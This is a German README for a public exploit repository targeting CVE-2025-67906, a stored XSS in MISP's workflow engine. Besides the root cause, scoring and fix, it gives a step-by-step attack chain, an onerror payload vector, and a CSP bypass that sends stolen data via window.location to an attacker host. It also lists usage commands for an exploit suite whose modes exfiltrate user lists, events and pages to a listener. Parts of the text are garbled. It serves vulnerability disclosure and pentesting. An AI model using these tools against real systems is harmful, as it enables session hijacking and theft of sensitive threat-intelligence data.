
MISP <= 2.5.27 - Gespeichertes Cross-Site Scripting via Workflow Engine (doT.js Template Injection)
MISP <= 2.5.27 – Stored Cross‑Site Scripting über die Workflow‑Engine (doT.js Template Injection)
Entdeckt von Franck FERMAN
Übersicht – Grundursache – Angriffskette – Struktur – Nutzung – Behebung – Referenzen
CVE‑2025‑67906 (GCVE‑1‑2025‑0031) ist eine Stored Cross‑Site Scripting (XSS)‑Schwachstelle in MISP (Malware Information Sharing Platform) bis einschließlich Version 2.5.27.
Die Schwachstelle befindet sich in app/View/Elements/Workflows/executionPath.ctp, der Workflow‑Ausführungspfad‑Ansicht. Das name‑Feld von Workflow‑Triggern wird ohne serverseitige Bereinigung in der Datenbank gespeichert und anschließend – ohne HTML‑Escaping – über die doT.js‑Template‑Engine in das DOM eingefügt. Ein authentifizierter Angreifer kann beliebiges HTML/JavaScript injizieren, das in der Browsersitzung jedes Benutzers ausgeführt wird, der den manipulierten Workflow aufruft.
Da das Payload in der Datenbank gespeichert und bei jedem Seitenaufruf gerendert wird, ist das XSS persistent – es übersteht Seitenaktualisierungen, betrifft mehrere Benutzer und bleibt bestehen, bis der Workflow explizit gelöscht wird.
Entdeckung: Diese Schwachstelle wurde von Franck FERMAN identifiziert und verantwortungsvoll offengelegt.
Für diese Schwachstelle liegen mehrere CVSS‑Bewertungen vor:
Die Abweichung der Bewertungen spiegelt unterschiedliche Einschätzungen der Auswirkungen wider. Die NIST‑NVD‑Bewertung (9.0) berücksichtigt die volle Auswirkung auf Vertraulichkeit, Integrität und Verfügbarkeit, da das XSS‑Payload mit den Sitzungsrechten des Opfers ausgeführt wird und somit eine Exfiltration auf Admin‑Ebene sowie die Manipulation von Workflows ermöglicht. Die CNA‑Bewertung (5.4) geht von einer eingeschränkten C/I‑Auswirkung eines generischen XSS aus. Der GCVE‑CVSS‑4.0‑Wert (7.1) führt Angriffsanforderungen (Privileg) und aktive Benutzerinteraktion als Modifikatoren ein.
Der Scope wird bei allen Bewertungen als Changed eingestuft, da das Payload des Angreifers (über die MISP‑API injiziert) in einem anderen Sicherheitskontext ausgeführt wird (der Browsersitzung des Opfers).
Die Workflow‑Engine von MISP erlaubt authentifizierten Benutzern, Workflows über die REST‑API zu erstellen und zu bearbeiten. Das Datenmodell des Workflows enthält eine trigger‑Komponente mit einem name‑Feld. Dieses Feld wird:
doT.js ist eine schnelle JavaScript‑Template‑Engine. Sie verwendet {{= }} für die Interpolation, die standardmäßig kein HTML escaped. Der MISP‑Workflow‑Editor nutzt doT.js, um Trigger‑Metadaten (einschließlich des name‑Felds) in das DOM zu rendern. Enthält das name‑Feld HTML wie ``, fügt die Template‑Engine es als rohes HTML ein, und der Browser führt das eingebettete JavaScript aus.
Die Behebung erfordert entweder:
kodierte Ausgabesyntax{{! }}`, die den Wert HTML‑escapedPOST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
Der name‑Wert im data‑JSON‑Feld ist der Injektionspunkt. Der gesamte Workflow‑Graph wird als JSON‑String im Request‑Body serialisiert.
Die Schwachstelle wird durch die architektonische Entscheidung verstärkt, eine clientseitige Template‑Engine (doT.js) für die visuelle Darstellung des Workflow‑Editors zu verwenden. Der Workflow‑Editor ist eine grafische Drag‑and‑Drop‑Oberfläche, in der jeder Trigger/Aktion als visueller Block dargestellt wird. Das name‑Feld des Triggers wird als Beschriftung innerhalb dieser grafischen Blöcke gerendert.
doT.js erstellt die visuellen Komponenten, indem es HTML‑Strings aus Templates generiert und in das DOM einfügt. Die Interpolationssyntax {{= }} erzeugt unescapierte Ausgabe – jede in das Template interpolierte Daten wird als Markup behandelt, nicht als Text. Würde dasselbe name‑Feld über element.textContent (das Eingabe als Klartext behandelt) oder über doT.jseigene kodierte Ausgabesyntax{{! }}` gerendert, wäre unabhängig vom Eingabeinhalt kein XSS möglich.
Die Angriffsfläche besteht genau deshalb, weil:
{{= }}) verwendet – aus Performance‑Gründenname‑Feld gespeicherte String vom Browser als HTML interpretiert wirdDies ist ein häufiges Schwachstellenmuster in Webanwendungen, die clientseitige Template‑Engines für interaktive visuelle Oberflächen verwenden: Die Notwendigkeit umfangreichen Renderings erzeugt eine implizite Vertrauensbeziehung zwischen dem Template und seinen Datenquellen, und jede unbereinigte Benutzereingabe, die das Template erreicht, wird zu ausführbarem Code.
<script>Ein roher <script>‑Tag, der über Template‑Interpolation injiziert wird, wird in diesem Kontext typischerweise nicht ausgeführt. Browser führen <script>‑Elemente nicht aus, die nach dem initialen Seitenparsing (via innerHTML oder ähnlichem) in das DOM eingefügt werden. Event‑Handler‑Attribute wie onerror, onload oder onmouseover auf HTML‑Elementen umgehen diese Einschränkung, da sie Inline‑JavaScript auslösen, sobald der Browser die Attribute des Elements verarbeitet – unabhängig davon, wie das Element eingefügt wurde.
Der <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="...">‑Vektor wird bevorzugt, weil:
src="x" einen sofortigen Ladefehler garantiert und damit onerror ohne Benutzerinteraktion auslöstscript‑src‑Einschränkungen umgeht, die Inline‑<script>‑Tags blockieren, da die Ausführung über einen Event‑Handler auf einem Nicht‑Skript‑Element erfolgtMISP‑Instanzen setzen typischerweise Content‑Security‑Policy‑Header, die connect‑src einschränken und damit fetch()‑ und XMLHttpRequest‑Aufrufe an externe Ursprünge unterbinden. Die Exfiltrations‑Payloads in diesem PoC umgehen CSP durch Verwendung von window.location (Navigation) anstelle von API‑Aufrufen:
// DURCH CSP blockiert (connect‑src):
fetch('http://angreifer/exfil?data=' + gestohlene_daten); // CSP‑Verstoß
// NICHT blockiert – Navigation unterliegt nicht CSP:
window.location = 'http://angreifer/exfil?data=' + gestohlene_daten; // funktioniert
CSP hat keine Direktive, die steuert, wohin eine Seite navigieren darf. Die navigate‑to‑Direktive wurde für CSP Level 3 vorgeschlagen, aber nie implementiert und gilt als aufgegeben. Dies macht window.location zu einer zuverlässigen CSP‑Umgehung für Datenexfiltration aus jedem XSS‑Kontext, unabhängig von der geltenden CSP‑Richtlinie.
Der Nachteil ist, dass die Navigation für das Opfer sichtbar ist (die Seite wechselt). Der server/redirector.py mildert dies, indem er sofort einen HTTP‑302‑Redirect zurück zur MISP‑Instanz ausgibt, sodass nur ein kurzer sichtbarer Blitz entsteht. Aus Sicht des Opfers scheint die Seite neu zu laden.
Datenfluss der Exfiltration:
Opfer‑Browser Angreifer (redirector.py) MISP
| | |
|-- GET /exfil?data=<gestohlen> -->| |
| | [erfasst Daten, gibt aus] |
|<-- 302 Location: misp.url ------| |
| | |
|-- GET /workflows/view/1 ---------------------------------------->|
|<-- Normale MISP‑Seite -------------------------------------------|
Der gesamte Durchlauf dauert etwa 100‑200 ms. Das Opfer sieht maximal einen Seitenblitz.
Ein häufiges Missverständnis in Sicherheitsbewertungen ist, dass XSS‑Schwachstellen nur begrenzte praktische Auswirkungen haben („es ist nur eine Alert‑Box“). In realen Red‑Team‑Einsätzen ist ein Stored XSS – insbesondere ein No‑Click‑persistentes wie dieses – eine besonders wertvolle Entdeckung, weil der Angreifer nicht darauf angewiesen ist, dass das Opfer irgendwo klickt. Das Payload feuert automatisch, sobald die Seite gerendert wird.
Was ein Stored XSS in der Praxis ermöglicht:
HttpOnly markiert sind, stiehlt der Angreifer das Admin‑Session‑Cookie und übernimmt das Konto. Selbst mit HttpOnly können im DOM oder in API‑Antworten exponierte Session‑Token extrahiert werden.document.body.innerHTML oder gezielte DOM‑Abfragen.Wenn Schutzmechanismen wie CSP die ausgehenden Anfragen einschränken (connect‑src, script‑src), passt sich der Exfiltrationsvektor an – wie in diesem PoC mit der window.location‑Navigationsumgehung gezeigt. CSP erhöht die Hürde, beseitigt das Risiko jedoch nicht. Verhindert HttpOnly den Cookie‑Diebstahl, weicht der Angreifer auf DOM‑basierte Exfiltration der im authentifizierten Kontext sichtbaren Daten aus.
In einem Pentest/Red‑Team‑Kontext ist ein Stored XSS auf einer Plattform wie MISP (die Bedrohungsinformationen, IOCs und organisationsbezogene Daten aggregiert) besonders kritisch, weil die über eine Admin‑Sitzung zugänglichen Daten selbst hochsensibel sind: Indikatoren für Kompromittierung, interne Untersuchungsdetails, Freigabegruppen‑Mitgliedschaften und Vertrauensbeziehungen zwischen Organisationen.
1. Angreifer authentifiziert sich bei MISP (beliebige Rolle mit Workflow‑Erstellungsberechtigung)
|
2. POST /workflows/add -> erstellt neuen Workflow, erhält workflow_id + trigger_id
|
3. POST /workflows/edit/{id} -> injiziert HTML/JS‑Payload in das `name`‑Feld des Triggers
| Payload: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
|
4. Payload wird in der MISP‑Datenbank gespeichert
|
5. Opfer (beliebiger authentifizierter Benutzer) ruft /workflows/view/{id} auf
|
6. doT.js rendert Triggernamen als rohes HTML -> Browser führt JavaScript aus
|
7. Auswirkung abhängig vom Payload‑Modus:
- alert() Ausführungsnachweis
- Session‑Hijack Session‑Cookie stehlen
- Daten‑Exfiltration Benutzer, Ereignisse, API‑Keys aus Admin‑Seiten extrahieren
- Credential‑Diebstahl Gefälschtes Login‑Formular einblenden
| Software | Betroffen | Behoben |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |
Der Fix ist in MISP v2.5.28 enthalten. Der relevante Patch‑Commit: 1f39deb.
poc_alert_cve_2025_67906.py # Einfacher PoC – alert()‑Bestätigung (~200 Zeilen)
poc_exfiltrate_cve_2025_67906.py # Einfacher PoC – Datenexfiltrations‑Demo (~150 Zeilen)
cve_2025_67906.py # Vollständiges Exploit‑Suite – 7 Modi, benutzerdefinierte Payloads
server/
redirector.py # Exfiltrations‑Listener mit transparentem 302‑Redirect
poc_alert_cve_2025_67906.py: Minimal, lesbar. Injiziert alert() zur XSS‑Bestätigung. Zuerst lesen.poc_exfiltrate_cve_2025_67906.py: Minimale Exfiltrations‑Demo. Erfasst E‑Mail/URL des Opfers und sendet sie an den Angreifer‑Server.cve_2025_67906.py: Vollständiges Exploit‑Suite mit 7 Payload‑Modi, Unterstützung für benutzerdefinierte Payloads, Quiet‑Modus.server/redirector.py: HTTP‑Server, der exfiltrierte Daten erfasst und das Opfer transparent zurück zu MISP umleitet.Python 3 (nur Standardbibliothek, keine externen Abhängigkeiten).
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
Bestätigen Sie die Existenz der Schwachstelle mit einem harmlosen alert():
python3 poc_alert_cve_2025_67906.py https://misp.ziel.org DEIN_API_KEY
Rufen Sie die vom Skript ausgegebene URL auf. Eine Alert‑Box bestätigt die XSS‑Ausführung.
# Terminal 1: Exfiltrations‑Listener starten
python3 server/redirector.py https://misp.ziel.org --port 8000
# Terminal 2: Payload injizieren
python3 poc_exfiltrate_cve_2025_67906.py https://misp.ziel.org DEIN_API_KEY --angreifer DEINE_IP:8000
Wenn ein Opfer die Workflow‑URL aufruft, werden dessen E‑Mail, Benutzername und Seiten‑URL vom Listener erfasst.
# Alert‑Modus (Standard)
python3 cve_2025_67906.py https://misp.ziel.org API_KEY
# Benutzerliste aus Admin‑Seite extrahieren
python3 cve_2025_67906.py https://misp.ziel.org API_KEY \
--mode exfiltrate_users --angreifer DEINE_IP:8000
# Ereignisliste extrahieren
python3 cve_2025_67906.py https://misp.ziel.org API_KEY \
--mode exfiltrate_events --angreifer DEINE_IP:8000 --limit 50
# Benutzerdefiniertes Payload
python3 cve_2025_67906.py https://misp.ziel.org API_KEY \
--payload ''
# Quiet‑Modus (minimale Ausgabe)
python3 cve_2025_67906.py https://misp.ziel.org API_KEY --mode alert --quiet
{{= }} (roh) auf {{! }} (HTML‑kodiert) umstellen für benutzereingegebene Feldername‑Feldes vor dem Datenbankeintrag (HTML‑Tags entfernen, Entities kodieren)Dieses Werkzeug wird ausschließlich für autorisierte Sicherheitsaudits, akademische Forschung und Bildungszwecke bereitgestellt. Die Verwendung gegen Systeme ohne ausdrückliche schriftliche Genehmigung des Systembesitzers ist illegal. Der Autor übernimmt keine Haftung für unbefugte oder böswillige Nutzung.
| Quelle | Punktzahl | Schweregrad | Vektor |
|---|
| NIST NVD | 9.0 | Kritisch | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | Hoch | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | Mittel | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| Modus | Auswirkung | Voraussetzung |
|---|
alert | Bestätigt XSS‑Ausführung | Beliebiges Benutzer ruft Workflow auf |
alert_info | Zeigt E‑Mail und URL des Opfers an | Beliebiges Benutzer ruft Workflow auf |
console_info | Protokolliert Benutzer‑E‑Mail, Rolle, URL in DevTools | Beliebiges Benutzer ruft Workflow auf |
exfiltrate_users | Extrahiert Benutzerliste (ID, Org, Rolle, E‑Mail) aus /admin/users/index | Admin ruft Workflow auf + Angreifer‑Listener |
exfiltrate_page | Erfasst aktuellen Seiteninhalt und Benutzeridentität | Beliebiges Benutzer ruft Workflow auf + Angreifer‑Listener |
exfiltrate_events | Extrahiert Ereignisliste (ID, Org, Datum, TLP, Info) | Beliebiges Benutzer ruft Workflow auf + Angreifer‑Listener |
| ID | Taktik | Technik | Relevanz |
|---|
| T1059.007 | Ausführung | JavaScript | XSS‑Payload führt JavaScript im Browser des Opfers aus |
| T1189 | Erster Zugriff | Drive‑by‑Kompromittierung | Gespeichertes Payload wird beim Seitenaufruf ausgelöst |
| T1557 | Sammlung | Gegner im Browser | Payload operiert innerhalb der authentifizierten Sitzung des Opfers |
| T1539 | Credential‑Zugriff | Web‑Session‑Cookie stehlen | Session‑Cookies zugreifbar, wenn HttpOnly nicht gesetzt ist |
| T1005 | Sammlung | Daten aus dem lokalen System | Exfiltration von Benutzerlisten, Ereignissen und Seiteninhalten |
| Modus | Beschreibung |
|---|
alert | Einfache Alert‑Box (Standard, sicher für Demo) |
alert_info | Alert‑Box mit Opfer‑URL, E‑Mail, Benutzeragent |
console | Console.log‑Bestätigung |
console_info | Benutzer‑E‑Mail, Rolle, URL in DevTools‑Konsole protokollieren |
exfiltrate_users | Benutzerliste aus /admin/users/index extrahieren (erfordert Admin als Opfer) |
exfiltrate_page | Aktuellen Seiteninhalt und Benutzeridentität erfassen |
exfiltrate_events | Ereignisliste mit ID, Org, Datum, TLP, Info extrahieren |